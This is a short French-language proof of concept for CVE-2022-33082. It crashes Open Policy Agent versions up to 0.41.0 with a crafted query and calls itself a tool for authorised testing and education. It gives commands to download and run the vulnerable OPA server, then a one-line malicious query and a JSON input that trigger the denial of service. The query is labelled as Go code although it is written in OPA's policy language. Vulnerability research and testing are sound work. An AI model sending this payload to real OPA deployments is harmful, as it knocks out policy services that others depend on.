
Preuve de concept pour CVE-2022-33082 provoquant un déni de service dans Open Policy Agent versions ≤0.41.0 via une entrée malveillante. Destiné aux tests autorisés et à un usage éducatif.
curl -L -o opa https://openpolicyagent.org/downloads/v0.41.0/opa_linux_amd64_static
chmod +x opa
./opa run --server
champ de requête (code Go) :
p := [input() | input := 1]
{ "input":"put this in the input (json) field!" }